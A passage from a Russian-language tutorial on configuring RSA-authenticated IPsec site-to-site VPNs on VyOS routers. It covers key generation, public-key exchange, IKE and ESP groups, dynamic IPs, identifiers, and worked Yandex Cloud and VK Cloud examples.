Private key stored as 'router1-key-4096'
```

### Генерация без шифрования приватного ключа

Для автоматизированных систем или тестовых окружений можно сгенерировать ключ без пароля:

```bash
generate pki key-pair install <key-pair-name> no-password
```

**Важно:** Незашифрованные приватные ключи представляют угрозу безопасности. Используйте этот вариант только в изолированных тестовых средах.

### Просмотр сгенерированных ключей

**Просмотр публичного ключа:**

```bash
show pki key-pair <key-pair-name> public
```

**Пример вывода:**

```
vyos@router1:~$ show pki key-pair router1-key public
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw1qHLMXLMbz0Z0X+YoXr
+vRkZJmBYRf3UqL6QgPPExRsG5gN7j8FqXqVLxFZZQ9PVnQ4/BgL1JGsZWx2OcDr
... (остальная часть ключа) ...
-----END PUBLIC KEY-----
```

**Просмотр приватного ключа:**

```bash
show pki key-pair <key-pair-name> private
```

**Внимание:** Приватный ключ должен храниться в секрете. Никогда не передавайте приватный ключ третьим лицам.

### Сохранение ключей в файлы

Для обмена публичными ключами или резервного копирования можно экспортировать ключи в файлы:

```bash
show pki key-pair router1-key public | save /config/router1-public.key
show pki key-pair router1-key private | save /config/router1-private.key
```

## Обмен публичными ключами между маршрутизаторами

### Процесс обмена ключами

Для установления RSA-аутентифицированного VPN туннеля необходимо обменяться публичными ключами между маршрутизаторами:

1. **Экспорт публичного ключа с Router1:**

```bash
vyos@router1:~$ show pki key-pair router1-key public
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw1qHLMXLMbz0Z0X+YoXr
+vRkZJmBYRf3UqL6QgPPExRsG5gN7j8FqXqVLxFZZQ9PVnQ4/BgL1JGsZWx2OcDr
K4Hd8XYzLmH5cN3vQ4FGBfQWx2yL8oPxRnE9K5vFmZqL8rN4TpWx6Q8vL2nR5F7K
... (полный публичный ключ) ...
-----END PUBLIC KEY-----
```

2. **Импорт публичного ключа на Router2:**

Скопируйте весь текст публичного ключа и импортируйте его на второй маршрутизатор:

```bash
vyos@router2# set pki key-pair router1-remote public key '-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw1qHLMXLMbz0Z0X+YoXr
... (весь публичный ключ одной строкой или построчно) ...
-----END PUBLIC KEY-----'
```

3. **Повторите процесс для Router2:**

Аналогично экспортируйте публичный ключ Router2 и импортируйте на Router1.

### Альтернативный метод: Импорт через файл

**На Router1 (экспорт):**

```bash
vyos@router1:~$ show pki key-pair router1-key public | save /config/router1-public.key
```

**Передача файла:**

Скопируйте файл `/config/router1-public.key` на Router2 любым безопасным способом (SCP, USB, безопасный канал).

**На Router2 (импорт):**

```bash
vyos@router2# loadkey pki key-pair router1-remote public /tmp/router1-public.key
```

Или вручную через конфигурацию:

```bash
vyos@router2# set pki key-pair router1-remote
vyos@router2# loadkey pki key-pair router1-remote public /tmp/router1-public.key
vyos@router2# commit
```

### Проверка импортированных ключей

**Просмотр всех ключевых пар:**

```bash
show pki key-pair
```

**Вывод:**

```
Key Pair Name    Type    Comment
---------------  ------  ---------
router1-key      rsa     Local key
router2-remote   rsa     Remote peer key
```

**Просмотр конкретного публичного ключа:**

```bash
show pki key-pair router2-remote public
```

## Управление публичными и приватными ключами

### Структура хранения ключей в VyOS

Ключи в VyOS хранятся в конфигурации под узлом `pki`:

```bash
pki {
    key-pair router1-key {
        private {
            key "LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0K..."
        }
        public {
            key "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5C..."
        }
    }
    key-pair router2-remote {
        public {
            key "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5C..."
        }
    }
}
```

**Важно:**
- Локальные ключевые пары содержат и public, и private части
- Удаленные ключи содержат только public часть
- Ключи хранятся в Base64 кодировке

### Добавление публичного ключа удаленного узла

**Через командную строку:**

```bash
configure
set pki key-pair <remote-key-name> public key '<публичный ключ>'
commit
save
```

**Пример:**

```bash
vyos@router1# set pki key-pair yc-datacenter-remote public key '-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2pL5Hx7vN4Zm...
-----END PUBLIC KEY-----'
vyos@router1# commit
vyos@router1# save
```

### Удаление ключевой пары

**Удаление всей ключевой пары:**

```bash
configure
delete pki key-pair <key-pair-name>
commit
save
```

**Удаление только публичного ключа:**

```bash
configure
delete pki key-pair <key-pair-name> public
commit
save
```

**Внимание:** Перед удалением убедитесь, что ключ не используется в активных VPN туннелях.

### Ротация ключей

Регулярная ротация ключей повышает безопасность. Процесс ротации:

1. **Генерация новой ключевой пары:**

```bash
generate pki key-pair install router1-key-new
```

2. **Обмен новыми публичными ключами:**

Экспортируйте и импортируйте новые публичные ключи на удаленные узлы.

3. **Обновление конфигурации VPN:**

```bash
configure
set vpn ipsec authentication pki local-key router1-key-new
set vpn ipsec authentication pki rsa remote-key router2-key-new
commit
save
```

4. **Удаление старых ключей:**

После проверки работоспособности удалите старые ключи:

```bash
configure
delete pki key-pair router1-key
commit
save
```

### Резервное копирование ключей

**Экспорт конфигурации с ключами:**

```bash
show configuration commands | grep pki | save /config/pki-backup.txt
```

**Полное резервное копирование:**

```bash
save /config/config.boot.backup
```

**Восстановление:**

```bash
load /config/config.boot.backup
commit
```

## Конфигурация IPsec VPN с RSA-аутентификацией

### Базовая структура конфигурации

IPsec VPN с RSA-аутентификацией в VyOS настраивается в следующих основных разделах:

1. **IKE Group**  - параметры IKE Phase 1 (аутентификация и обмен ключами)
2. **ESP Group**  - параметры IPsec Phase 2 (шифрование данных)
3. **VPN Interface**  - определение VPN интерфейса и параметров туннеля
4. **Authentication**  - настройка RSA-аутентификации
5. **Connection**  - параметры соединения и режимы работы

### Создание IKE Group

IKE Group определяет параметры для IKE Phase 1 (ISAKMP):

```bash
configure

set vpn ipsec ike-group IKE-RSA proposal 1 dh-group '14'
set vpn ipsec ike-group IKE-RSA proposal 1 encryption 'aes256'
set vpn ipsec ike-group IKE-RSA proposal 1 hash 'sha256'
set vpn ipsec ike-group IKE-RSA lifetime '28800'
set vpn ipsec ike-group IKE-RSA dead-peer-detection action 'restart'
set vpn ipsec ike-group IKE-RSA dead-peer-detection interval '30'
set vpn ipsec ike-group IKE-RSA dead-peer-detection timeout '120'

commit
```

**Параметры:**

- **dh-group:** Diffie-Hellman группа (2, 5, 14, 15, 16, 19, 20)
  - Группа 14: 2048-bit MODP (рекомендуется минимум)
  - Группа 19: 256-bit ECP (современный стандарт)
  - Группа 20: 384-bit ECP (повышенная безопасность)

- **encryption:** Алгоритм шифрования (aes128, aes192, aes256, aes128gcm16, aes256gcm16)
- **hash:** Алгоритм хеширования (sha1, sha256, sha384, sha512)
- **lifetime:** Время жизни IKE SA в секундах (по умолчанию 28800 = 8 часов)
- **dead-peer-detection:** Обнаружение недоступного узла

### Создание ESP Group

ESP Group определяет параметры для IPsec Phase 2:

```bash
set vpn ipsec esp-group ESP-RSA proposal 1 encryption 'aes256'
set vpn ipsec esp-group ESP-RSA proposal 1 hash 'sha256'
set vpn ipsec esp-group ESP-RSA lifetime '3600'
set vpn ipsec esp-group ESP-RSA pfs 'dh-group14'

commit
```

**Параметры:**

- **encryption:** Алгоритм шифрования данных
- **hash:** Алгоритм HMAC для целостности данных
- **lifetime:** Время жизни IPsec SA (по умолчанию 3600 = 1 час)
- **pfs (Perfect Forward Secrecy):** Генерация новых ключей при каждом переключении SA

### Конфигурация Site-to-Site VPN с RSA

**Сценарий:** Два офиса с статическими IP-адресами

**Топология:**
- Router1 (Офис А): 203.0.113.10, LAN 10.10.1.0/24
- Router2 (Офис Б): 198.51.100.20, LAN 10.10.2.0/24

**Конфигурация Router1:**

```bash
configure

# IKE и ESP группы (как описано выше)
set vpn ipsec ike-group IKE-RSA proposal 1 dh-group '14'
set vpn ipsec ike-group IKE-RSA proposal 1 encryption 'aes256'
set vpn ipsec ike-group IKE-RSA proposal 1 hash 'sha256'

set vpn ipsec esp-group ESP-RSA proposal 1 encryption 'aes256'
set vpn ipsec esp-group ESP-RSA proposal 1 hash 'sha256'

# Настройка site-to-site соединения
set vpn ipsec site-to-site peer office-b authentication mode 'rsa'
set vpn ipsec site-to-site peer office-b authentication rsa local-key 'router1-key'
set vpn ipsec site-to-site peer office-b authentication rsa remote-key 'router2-remote'
set vpn ipsec site-to-site peer office-b authentication local-id '203.0.113.10'
set vpn ipsec site-to-site peer office-b authentication remote-id '198.51.100.20'

set vpn ipsec site-to-site peer office-b connection-type 'initiate'
set vpn ipsec site-to-site peer office-b ike-group 'IKE-RSA'
set vpn ipsec site-to-site peer office-b local-address '203.0.113.10'
set vpn ipsec site-to-site peer office-b remote-address '198.51.100.20'

set vpn ipsec site-to-site peer office-b tunnel 1 esp-group 'ESP-RSA'
set vpn ipsec site-to-site peer office-b tunnel 1 local prefix '10.10.1.0/24'
set vpn ipsec site-to-site peer office-b tunnel 1 remote prefix '10.10.2.0/24'

commit
save
```

**Конфигурация Router2:**

```bash
configure

# IKE и ESP группы (идентичны Router1)
set vpn ipsec ike-group IKE-RSA proposal 1 dh-group '14'
set vpn ipsec ike-group IKE-RSA proposal 1 encryption 'aes256'
set vpn ipsec ike-group IKE-RSA proposal 1 hash 'sha256'

set vpn ipsec esp-group ESP-RSA proposal 1 encryption 'aes256'
set vpn ipsec esp-group ESP-RSA proposal 1 hash 'sha256'

# Настройка site-to-site соединения
set vpn ipsec site-to-site peer office-a authentication mode 'rsa'
set vpn ipsec site-to-site peer office-a authentication rsa local-key 'router2-key'
set vpn ipsec site-to-site peer office-a authentication rsa remote-key 'router1-remote'
set vpn ipsec site-to-site peer office-a authentication local-id '198.51.100.20'
set vpn ipsec site-to-site peer office-a authentication remote-id '203.0.113.10'

set vpn ipsec site-to-site peer office-a connection-type 'respond'
set vpn ipsec site-to-site peer office-a ike-group 'IKE-RSA'
set vpn ipsec site-to-site peer office-a local-address '198.51.100.20'
set vpn ipsec site-to-site peer office-a remote-address '203.0.113.10'

set vpn ipsec site-to-site peer office-a tunnel 1 esp-group 'ESP-RSA'
set vpn ipsec site-to-site peer office-a tunnel 1 local prefix '10.10.2.0/24'
set vpn ipsec site-to-site peer office-a tunnel 1 remote prefix '10.10.1.0/24'

commit
save
```

**Ключевые параметры:**

- `authentication mode 'rsa'`  - использование RSA-аутентификации
- `local-key`  - имя локальной ключевой пары
- `remote-key`  - имя публичного ключа удаленного узла
- `local-id` и `remote-id`  - идентификаторы для IKE (IP-адреса или FQDN)
- `connection-type`  - 'initiate' (инициатор) или 'respond' (ответчик)

## Поддержка динамических IP-адресов

### Конфигурация с local-address "any"

VyOS поддерживает динамические IP-адреса для VPN туннелей, что особенно полезно для подключений из офисов с динамическими IP от провайдера.

**Сценарий:** Router1 имеет динамический IP, Router2 имеет статический IP

**Конфигурация Router1 (динамический IP):**

```bash
configure

set vpn ipsec ike-group IKE-DYNAMIC proposal 1 dh-group '14'
set vpn ipsec ike-group IKE-DYNAMIC proposal 1 encryption 'aes256'
set vpn ipsec ike-group IKE-DYNAMIC proposal 1 hash 'sha256'

set vpn ipsec esp-group ESP-DYNAMIC proposal 1 encryption 'aes256'
set vpn ipsec esp-group ESP-DYNAMIC proposal 1 hash 'sha256'

set vpn ipsec site-to-site peer central-office authentication mode 'rsa'
set vpn ipsec site-to-site peer central-office authentication rsa local-key 'branch-key'
set vpn ipsec site-to-site peer central-office authentication rsa remote-key 'central-remote'
set vpn ipsec site-to-site peer central-office authentication local-id 'branch-office@company.local'
set vpn ipsec site-to-site peer central-office authentication remote-id '203.0.113.100'

set vpn ipsec site-to-site peer central-office connection-type 'initiate'
set vpn ipsec site-to-site peer central-office ike-group 'IKE-DYNAMIC'
set vpn ipsec site-to-site peer central-office local-address 'any'
set vpn ipsec site-to-site peer central-office remote-address '203.0.113.100'

set vpn ipsec site-to-site peer central-office tunnel 1 esp-group 'ESP-DYNAMIC'
set vpn ipsec site-to-site peer central-office tunnel 1 local prefix '10.20.1.0/24'
set vpn ipsec site-to-site peer central-office tunnel 1 remote prefix '10.10.0.0/16'

commit
save
```

**Конфигурация Router2 (статический IP - центральный офис):**

```bash
configure

set vpn ipsec ike-group IKE-DYNAMIC proposal 1 dh-group '14'
set vpn ipsec ike-group IKE-DYNAMIC proposal 1 encryption 'aes256'
set vpn ipsec ike-group IKE-DYNAMIC proposal 1 hash 'sha256'

set vpn ipsec esp-group ESP-DYNAMIC proposal 1 encryption 'aes256'
set vpn ipsec esp-group ESP-DYNAMIC proposal 1 hash 'sha256'

set vpn ipsec site-to-site peer branch-office authentication mode 'rsa'
set vpn ipsec site-to-site peer branch-office authentication rsa local-key 'central-key'
set vpn ipsec site-to-site peer branch-office authentication rsa remote-key 'branch-remote'
set vpn ipsec site-to-site peer branch-office authentication local-id '203.0.113.100'
set vpn ipsec site-to-site peer branch-office authentication remote-id 'branch-office@company.local'

set vpn ipsec site-to-site peer branch-office connection-type 'respond'
set vpn ipsec site-to-site peer branch-office ike-group 'IKE-DYNAMIC'
set vpn ipsec site-to-site peer branch-office local-address '203.0.113.100'
set vpn ipsec site-to-site peer branch-office remote-address 'any'

set vpn ipsec site-to-site peer branch-office tunnel 1 esp-group 'ESP-DYNAMIC'
set vpn ipsec site-to-site peer branch-office tunnel 1 local prefix '10.10.0.0/16'
set vpn ipsec site-to-site peer branch-office tunnel 1 remote prefix '10.20.1.0/24'

commit
save
```

**Ключевые особенности:**

- `local-address 'any'`  - использовать любой доступный IP-адрес
- `remote-address 'any'`  - принимать подключения с любого IP-адреса
- `local-id` и `remote-id` используют FQDN или email-like идентификаторы для динамических IP
- `connection-type 'initiate'` на стороне с динамическим IP
- `connection-type 'respond'` на стороне со статическим IP

### Использование FQDN в качестве remote-id

Для динамических IP-адресов рекомендуется использовать FQDN или email-like идентификаторы:

```bash
set vpn ipsec site-to-site peer remote-office authentication local-id 'vyos.headquarters.example.com'
set vpn ipsec site-to-site peer remote-office authentication remote-id 'vyos.branch.example.com'
```

**Преимущества FQDN:**

- Идентификация не зависит от IP-адреса
- Поддержка DynDNS для динамических IP
- Упрощенное управление в больших сетях
- Человекочитаемые идентификаторы в логах

### Сценарий с обоими динамическими IP

Если оба узла имеют динамические IP-адреса, требуется третий узел с статическим IP для инициации соединения или использование DynDNS:

```bash
# На обоих узлах
set vpn ipsec site-to-site peer remote-site local-address 'any'
set vpn ipsec site-to-site peer remote-site remote-address '<dyndns-hostname>'
set vpn ipsec site-to-site peer remote-site authentication local-id '<local-fqdn>'
set vpn ipsec site-to-site peer remote-site authentication remote-id '<remote-fqdn>'
```

## Конфигурация remote-id и local-id

### Назначение идентификаторов IKE

IKE идентификаторы (`local-id` и `remote-id`) используются для:

1. **Идентификация узлов** при установлении IPsec туннеля
2. **Сопоставление публичных ключей** с удаленными узлами
3. **Валидация подключений** от правильных источников
4. **Поддержка динамических IP** через неизменяемые идентификаторы

### Типы идентификаторов

**IP-адрес:**

```bash
set vpn ipsec site-to-site peer remote-site authentication local-id '203.0.113.10'
set vpn ipsec site-to-site peer remote-site authentication remote-id '198.51.100.20'
```

Используется для статических IP-адресов, простая идентификация.

**FQDN (Fully Qualified Domain Name):**

```bash
set vpn ipsec site-to-site peer remote-site authentication local-id 'router1.example.com'
set vpn ipsec site-to-site peer remote-site authentication remote-id 'router2.example.com'
```

Рекомендуется для динамических IP, поддержка DNS.

**Email-like идентификатор:**

```bash
set vpn ipsec site-to-site peer remote-site authentication local-id 'office-a@company.local'
set vpn ipsec site-to-site peer remote-site authentication remote-id 'office-b@company.local'
```

Удобно для управления в больших сетях, не требует DNS.

**Distinguished Name (DN):**

```bash
set vpn ipsec site-to-site peer remote-site authentication local-id 'C=RU, O=Company, CN=router1'
set vpn ipsec site-to-site peer remote-site authentication remote-id 'C=RU, O=Company, CN=router2'
```

Используется при интеграции с PKI/CA инфраструктурой.

### Правила сопоставления идентификаторов

**Важно:**
- `local-id` на Router1 должен совпадать с `remote-id` на Router2
- `remote-id` на Router1 должен совпадать с `local-id` на Router2

**Пример правильной конфигурации:**

```bash
# Router1
set vpn ipsec site-to-site peer peer2 authentication local-id 'router1.company.com'
set vpn ipsec site-to-site peer peer2 authentication remote-id 'router2.company.com'

# Router2
set vpn ipsec site-to-site peer peer1 authentication local-id 'router2.company.com'
set vpn ipsec site-to-site peer peer1 authentication remote-id 'router1.company.com'
```

### Идентификаторы в Hub-and-Spoke топологии

**Hub (центральный узел):**

```bash
# Для каждого Spoke отдельный peer с уникальным remote-id
set vpn ipsec site-to-site peer spoke1 authentication local-id 'hub.company.com'
set vpn ipsec site-to-site peer spoke1 authentication remote-id 'spoke1.company.com'

set vpn ipsec site-to-site peer spoke2 authentication local-id 'hub.company.com'
set vpn ipsec site-to-site peer spoke2 authentication remote-id 'spoke2.company.com'
```

**Spoke (филиал):**

```bash
set vpn ipsec site-to-site peer hub authentication local-id 'spoke1.company.com'
set vpn ipsec site-to-site peer hub authentication remote-id 'hub.company.com'
```

## Интеграция с ESP и IKE группами

### Выбор криптографических алгоритмов

**Рекомендуемые комбинации для различных сценариев:**

**Максимальная безопасность (государственные организации, финансовый сектор):**

```bash
# IKE Group
set vpn ipsec ike-group IKE-HIGH-SEC proposal 1 dh-group '20'
set vpn ipsec ike-group IKE-HIGH-SEC proposal 1 encryption 'aes256gcm16'
set vpn ipsec ike-group IKE-HIGH-SEC proposal 1 hash 'sha512'
set vpn ipsec ike-group IKE-HIGH-SEC lifetime '14400'

# ESP Group
set vpn ipsec esp-group ESP-HIGH-SEC proposal 1 encryption 'aes256gcm16'
set vpn ipsec esp-group ESP-HIGH-SEC proposal 1 hash 'sha512'
set vpn ipsec esp-group ESP-HIGH-SEC lifetime '3600'
set vpn ipsec esp-group ESP-HIGH-SEC pfs 'dh-group20'
```

**Баланс безопасности и производительности (корпоративные сети):**

```bash
# IKE Group
set vpn ipsec ike-group IKE-BALANCED proposal 1 dh-group '14'
set vpn ipsec ike-group IKE-BALANCED proposal 1 encryption 'aes256'
set vpn ipsec ike-group IKE-BALANCED proposal 1 hash 'sha256'
set vpn ipsec ike-group IKE-BALANCED lifetime '28800'

# ESP Group
set vpn ipsec esp-group ESP-BALANCED proposal 1 encryption 'aes256'
set vpn ipsec esp-group ESP-BALANCED proposal 1 hash 'sha256'
set vpn ipsec esp-group ESP-BALANCED lifetime '3600'
set vpn ipsec esp-group ESP-BALANCED pfs 'dh-group14'
```

**Максимальная производительность (тестовые среды, высокая пропускная способность):**

```bash
# IKE Group
set vpn ipsec ike-group IKE-PERFORMANCE proposal 1 dh-group '14'
set vpn ipsec ike-group IKE-PERFORMANCE proposal 1 encryption 'aes128gcm16'
set vpn ipsec ike-group IKE-PERFORMANCE proposal 1 hash 'sha256'
set vpn ipsec ike-group IKE-PERFORMANCE lifetime '28800'

# ESP Group
set vpn ipsec esp-group ESP-PERFORMANCE proposal 1 encryption 'aes128gcm16'
set vpn ipsec esp-group ESP-PERFORMANCE proposal 1 hash 'sha256'
set vpn ipsec esp-group ESP-PERFORMANCE lifetime '3600'
set vpn ipsec esp-group ESP-PERFORMANCE pfs 'dh-group14'
```

### Множественные proposal для совместимости

Для совместимости с различными VPN-концентраторами можно настроить несколько proposals:

```bash
set vpn ipsec ike-group IKE-MULTI proposal 1 dh-group '20'
set vpn ipsec ike-group IKE-MULTI proposal 1 encryption 'aes256gcm16'
set vpn ipsec ike-group IKE-MULTI proposal 1 hash 'sha512'

set vpn ipsec ike-group IKE-MULTI proposal 2 dh-group '14'
set vpn ipsec ike-group IKE-MULTI proposal 2 encryption 'aes256'
set vpn ipsec ike-group IKE-MULTI proposal 2 hash 'sha256'

set vpn ipsec ike-group IKE-MULTI proposal 3 dh-group '14'
set vpn ipsec ike-group IKE-MULTI proposal 3 encryption 'aes128'
set vpn ipsec ike-group IKE-MULTI proposal 3 hash 'sha256'
```

VyOS будет пытаться согласовать параметры в порядке приоритета (proposal 1, затем 2, затем 3).

### Dead Peer Detection (DPD)

DPD обеспечивает автоматическое восстановление туннеля при потере связи:

```bash
set vpn ipsec ike-group IKE-GROUP dead-peer-detection action 'restart'
set vpn ipsec ike-group IKE-GROUP dead-peer-detection interval '30'
set vpn ipsec ike-group IKE-GROUP dead-peer-detection timeout '120'
```

**Параметры:**

- **action:** 'restart' (пересоздать туннель), 'clear' (удалить SA), 'hold' (оставить без изменений)
- **interval:** Интервал отправки DPD сообщений (секунды)
- **timeout:** Таймаут ожидания ответа (секунды)

**Рекомендации:**

- Для стабильных каналов: interval=60, timeout=300
- Для нестабильных каналов: interval=30, timeout=120
- Для критичных соединений: interval=10, timeout=30

### Настройка lifetime

**IKE lifetime (ISAKMP SA):**

```bash
set vpn ipsec ike-group IKE-GROUP lifetime '28800'  # 8 часов
```

Более длительный lifetime снижает нагрузку на CPU при перезаключении, но увеличивает окно уязвимости.

**ESP lifetime (IPsec SA):**

```bash
set vpn ipsec esp-group ESP-GROUP lifetime '3600'  # 1 час
```

Более короткий lifetime повышает безопасность за счет частой смены ключей.

**Рекомендуемые значения:**

- IKE: 28800 (8 часов) - 86400 (24 часа)
- ESP: 3600 (1 час) - 14400 (4 часа)

## Пример: Site-to-Site VPN между Yandex Cloud и on-premises

### Архитектура решения

**Сценарий:**
- **Yandex Cloud VPC:** VyOS router в облаке с публичным IP 51.250.10.50, внутренняя сеть 10.128.0.0/16
- **On-Premises:** VyOS router в офисе с публичным IP 203.0.113.25, внутренняя сеть 192.168.10.0/24
- **Требования:** Защищенное соединение между облаком и офисом, RSA-аутентификация, поддержка динамического IP на стороне офиса

### Топология сети

```
┌─────────────────────────────────────────────────────────────┐
│ Yandex Cloud VPC (ru-central1-a)                            │
│                                                              │
│  ┌──────────────────────────────────┐                       │
│  │ VyOS Router (yc-router)          │                       │
│  │ Public IP: 51.250.10.50          │                       │
│  │ Private IP: 10.128.0.10          │                       │
│  │ eth0: 51.250.10.50 (WAN)         │                       │
│  │ eth1: 10.128.0.10 (LAN)          │                       │
│  └──────────────┬───────────────────┘                       │
│                 │                                            │
│  ┌──────────────┴───────────────────┐                       │
│  │ Subnet: 10.128.0.0/24            │                       │
│  │ VMs: 10.128.0.11 - 10.128.0.254  │                       │
│  └──────────────────────────────────┘                       │
│                                                              │
└──────────────────────────┬───────────────────────────────────┘
                           │
                           │ Internet
                           │ IPsec VPN Tunnel (RSA Auth)
                           │
┌──────────────────────────┴───────────────────────────────────┐
│ On-Premises Office                                           │
│                                                              │
│  ┌──────────────────────────────────┐                       │
│  │ VyOS Router (office-router)      │                       │
│  │ Public IP: 203.0.113.25 (dynamic)│                       │
│  │ Private IP: 192.168.10.1         │                       │
│  │ eth0: 203.0.113.25 (WAN)         │                       │
│  │ eth1: 192.168.10.1 (LAN)         │                       │
│  └──────────────┬───────────────────┘                       │
│                 │                                            │
│  ┌──────────────┴───────────────────┐                       │
│  │ LAN: 192.168.10.0/24             │                       │
│  │ Hosts: 192.168.10.10 - .254      │                       │
│  └──────────────────────────────────┘                       │
│                                                              │
└──────────────────────────────────────────────────────────────┘
```

### Генерация ключей

**На Yandex Cloud VyOS Router:**

```bash
vyos@yc-router:~$ configure
vyos@yc-router# generate pki key-pair install yc-cloud-key
Enter private key passphrase: ********
Retype private key passphrase: ********
vyos@yc-router# commit
vyos@yc-router# save
```

**На On-Premises VyOS Router:**

```bash
vyos@office-router:~$ configure
vyos@office-router# generate pki key-pair install office-onprem-key
Enter private key passphrase: ********
Retype private key passphrase: ********
vyos@office-router# commit
vyos@office-router# save
```

### Обмен публичными ключами

**Экспорт публичного ключа Yandex Cloud:**

```bash
vyos@yc-router# run show pki key-pair yc-cloud-key public
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1K8Hx5vQ2Lm7pN9wZ...
(копируйте весь ключ)
-----END PUBLIC KEY-----
```

**Импорт на On-Premises Router:**

```bash
vyos@office-router# set pki key-pair yc-remote-key public key '-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1K8Hx5vQ2Lm7pN9wZ...
-----END PUBLIC KEY-----'
vyos@office-router# commit
```

**Аналогично для публичного ключа офиса:**

```bash
vyos@office-router# run show pki key-pair office-onprem-key public
# Копируйте ключ и импортируйте на yc-router как office-remote-key
```

### Конфигурация Yandex Cloud Router

```bash
configure

# IKE Group
set vpn ipsec ike-group IKE-YC-OFFICE proposal 1 dh-group '14'
set vpn ipsec ike-group IKE-YC-OFFICE proposal 1 encryption 'aes256'
set vpn ipsec ike-group IKE-YC-OFFICE proposal 1 hash 'sha256'
set vpn ipsec ike-group IKE-YC-OFFICE lifetime '28800'
set vpn ipsec ike-group IKE-YC-OFFICE dead-peer-detection action 'restart'
set vpn ipsec ike-group IKE-YC-OFFICE dead-peer-detection interval '30'
set vpn ipsec ike-group IKE-YC-OFFICE dead-peer-detection timeout '120'

# ESP Group
set vpn ipsec esp-group ESP-YC-OFFICE proposal 1 encryption 'aes256'
set vpn ipsec esp-group ESP-YC-OFFICE proposal 1 hash 'sha256'
set vpn ipsec esp-group ESP-YC-OFFICE lifetime '3600'
set vpn ipsec esp-group ESP-YC-OFFICE pfs 'dh-group14'

# Site-to-Site Peer Configuration
set vpn ipsec site-to-site peer office-branch authentication mode 'rsa'
set vpn ipsec site-to-site peer office-branch authentication rsa local-key 'yc-cloud-key'
set vpn ipsec site-to-site peer office-branch authentication rsa remote-key 'office-remote-key'
set vpn ipsec site-to-site peer office-branch authentication local-id 'yc-router@yandex-cloud.local'
set vpn ipsec site-to-site peer office-branch authentication remote-id 'office-router@company.local'

set vpn ipsec site-to-site peer office-branch connection-type 'respond'
set vpn ipsec site-to-site peer office-branch ike-group 'IKE-YC-OFFICE'
set vpn ipsec site-to-site peer office-branch local-address '51.250.10.50'
set vpn ipsec site-to-site peer office-branch remote-address 'any'

# Tunnel Configuration
set vpn ipsec site-to-site peer office-branch tunnel 1 esp-group 'ESP-YC-OFFICE'
set vpn ipsec site-to-site peer office-branch tunnel 1 local prefix '10.128.0.0/16'
set vpn ipsec site-to-site peer office-branch tunnel 1 remote prefix '192.168.10.0/24'

commit
save
```

### Конфигурация On-Premises Router

```bash
configure

# IKE Group (идентичная YC Router)
set vpn ipsec ike-group IKE-YC-OFFICE proposal 1 dh-group '14'
set vpn ipsec ike-group IKE-YC-OFFICE proposal 1 encryption 'aes256'
set vpn ipsec ike-group IKE-YC-OFFICE proposal 1 hash 'sha256'
set vpn ipsec ike-group IKE-YC-OFFICE lifetime '28800'
set vpn ipsec ike-group IKE-YC-OFFICE dead-peer-detection action 'restart'
set vpn ipsec ike-group IKE-YC-OFFICE dead-peer-detection interval '30'
set vpn ipsec ike-group IKE-YC-OFFICE dead-peer-detection timeout '120'

# ESP Group (идентичная YC Router)
set vpn ipsec esp-group ESP-YC-OFFICE proposal 1 encryption 'aes256'
set vpn ipsec esp-group ESP-YC-OFFICE proposal 1 hash 'sha256'
set vpn ipsec esp-group ESP-YC-OFFICE lifetime '3600'
set vpn ipsec esp-group ESP-YC-OFFICE pfs 'dh-group14'

# Site-to-Site Peer Configuration
set vpn ipsec site-to-site peer yandex-cloud authentication mode 'rsa'
set vpn ipsec site-to-site peer yandex-cloud authentication rsa local-key 'office-onprem-key'
set vpn ipsec site-to-site peer yandex-cloud authentication rsa remote-key 'yc-remote-key'
set vpn ipsec site-to-site peer yandex-cloud authentication local-id 'office-router@company.local'
set vpn ipsec site-to-site peer yandex-cloud authentication remote-id 'yc-router@yandex-cloud.local'

set vpn ipsec site-to-site peer yandex-cloud connection-type 'initiate'
set vpn ipsec site-to-site peer yandex-cloud ike-group 'IKE-YC-OFFICE'
set vpn ipsec site-to-site peer yandex-cloud local-address 'any'
set vpn ipsec site-to-site peer yandex-cloud remote-address '51.250.10.50'

# Tunnel Configuration
set vpn ipsec site-to-site peer yandex-cloud tunnel 1 esp-group 'ESP-YC-OFFICE'
set vpn ipsec site-to-site peer yandex-cloud tunnel 1 local prefix '192.168.10.0/24'
set vpn ipsec site-to-site peer yandex-cloud tunnel 1 remote prefix '10.128.0.0/16'

commit
save
```

### Настройка маршрутизации

**На Yandex Cloud Router:**

```bash
configure

# Статический маршрут для офисной сети через VPN
set protocols static route 192.168.10.0/24 interface tunnel0

# Или через next-hop (если используется VTI)
# set protocols static route 192.168.10.0/24 next-hop <vti-interface-ip>

commit
save
```

**На On-Premises Router:**

```bash
configure

# Статический маршрут для облачной сети через VPN
set protocols static route 10.128.0.0/16 interface tunnel0

commit
save
```

### Настройка NAT (опционально)

Если требуется NAT для доступа VPN клиентов в интернет через Yandex Cloud:

**На Yandex Cloud Router:**

```bash
configure

# Исключение VPN трафика из NAT
set nat source rule 100 outbound-interface 'eth0'
set nat source rule 100 source address '10.128.0.0/16'
set nat source rule 100 destination address '192.168.10.0/24'
set nat source rule 100 exclude

# NAT для интернет-трафика
set nat source rule 200 outbound-interface 'eth0'
set nat source rule 200 source address '10.128.0.0/16'
set nat source rule 200 translation address 'masquerade'

commit
save
```

## Пример: Hub-and-Spoke VPN с RSA-аутентификацией (VK Cloud)

### Архитектура решения

**Сценарий:**
- **Hub (VK Cloud):** Центральный VyOS router с публичным IP 89.208.220.50, сеть 10.0.0.0/16
- **Spoke 1 (Филиал Москва):** VyOS router, динамический IP, сеть 10.10.1.0/24
- **Spoke 2 (Филиал Санкт-Петербург):** VyOS router, динамический IP, сеть 10.10.2.0/24
